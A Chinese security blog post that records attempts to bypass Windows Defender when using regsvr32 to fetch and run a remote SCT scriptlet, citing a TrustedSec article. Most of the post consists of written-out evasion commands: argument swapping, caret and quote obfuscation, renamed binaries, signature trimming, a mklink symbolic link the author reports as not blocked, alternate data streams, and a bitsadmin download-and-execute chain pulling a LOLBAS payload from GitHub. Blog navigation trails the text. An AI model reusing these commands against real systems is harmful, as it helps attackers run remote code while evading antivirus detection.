Regsvr32 Bypass SCT/HTTP

前言:看了这篇突然想起,2019年刚开始学习的时候在心东的视频教程中,他当时在360的情况下绕Regsvr32跟这篇文章也有点相似,不过这个人的思路更加的广阔!

参考文章:https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/

我看到最后才知道最终是绕不过的,这篇就是简单的记录下常用的绕过思路

支持操作系统:Windows Vista,Windows 7,Windows 8,Windows 8.1,Windows 10

所需要的权限:用户

先介绍下Regsvr32,是个二进制文件,可用于执行外部SCT文件中的代码!

参数讲解:

/u:反注册DLL文件
/i:在使用 /u 反注册时调用 DllInstall
/s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
/c:控制端口
/n:不调用DllRegisterServer,必须与/i连用

DllInstall:仅用于应用程序安装和设置。应用程序不应调用它。它的用途与DllRegisterServer或DllUnregisterServer相似。与这些函数不同,DllInstall使用一个输入字符串,该字符串可用于指定各种不同的操作。这允许根据任何适当的条件以多种方式安装DLL。

大家可以理解DllInstall的时候可以带命令行参数进行注册,那么也可以进行自定义的操作,例如远程调用!


这里主要学习总结绕过手段,如果需要详细图文学习的话,参考最下面的文章!

标准的运行命令格式:regsvr32.exe /i:http://example.com/file.sct /u /s scrobj.dll,这个结果是会被Windows Defender进行拦截的!

绕过过程如下:

第一种尝试方法:命令参数的交换

/u /s 前后交换

regsvr32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截

结果无法绕过

第二种尝试方法:添加干扰符

这里使用的干扰符只有"^,自己知道的还有个@

regsvr32.exe /i:h^t^t^p://example.com/file.sct /s /u scrobj.dll 拦截

regsvr32.exe /i:h"t"t"p://example.com/file.sct /s /u scrobj.dll 拦截

第三种尝试方法:绕过windows目录调用,该方法对于某些av监控windows目录下的exe文件有一定的绕过作用!

copy c:\windows\system32\regsvr32.exe c:\programdata\reg32.exe

reg32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截

copy c:\windows\system32\scrobj.dll Myscrobj.dll

regsvr32.exe /i:http://example.com/file.sct /s /u Myscrobj.dll 拦截

第四种尝试方法:特征码修改

这里自己理解的特征码修改实际上就是指的就是 引起AV检测的字符

regsvr32.exe /i:http://example.com/file.txt /s /u scrobj.dll 拦截

regsvr32.exe /i:http://example.com/file.txt scrobj.dll 拦截

regsvr32.exe /i:http:// scrobj.dll 拦截

regsvr32.exe /i:http: scrobj.dll 拦截

regsvr32.exe /i:ftp: scrobj.dll 不拦截

regsvr32.exe /i:http: Myscrobj.dll 不拦截

那么可以确定的是 拦截情况为:httpscrobj.dll的组合

第五种尝试方法:符号链接

权限要求:本地管理员

在linux中有软链接和硬链接,在windows中也有类似的操作符号链接

Mklink.exe c:\programdata\Myscrobj.dll c:\windows\system32\scrobj.dll

regsvr32.exe /i:http://example.com/file.sct /u /s Myscrobj.dll 不拦截,但是记得操作的时候在链接的dll目录下进行!

第六种尝试方法:数据流(ADS)

dir /R可以去发现本地的备用数据流

默认情况下,我们查看称为$DATA的特定流。可以向文件中添加其他流并向其中添加内容。

Type c:\windows\system32\scrobj.dll > test.txt:Myscrobj.dll

Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct test.txt:Myscrobj.dll 拦截

第七种尝试方法:本地磁盘执行

那么也就是下载到本地然后进行执行,不去远程执行!

bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll 拦截

posted @   zpchcbd  阅读(711)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示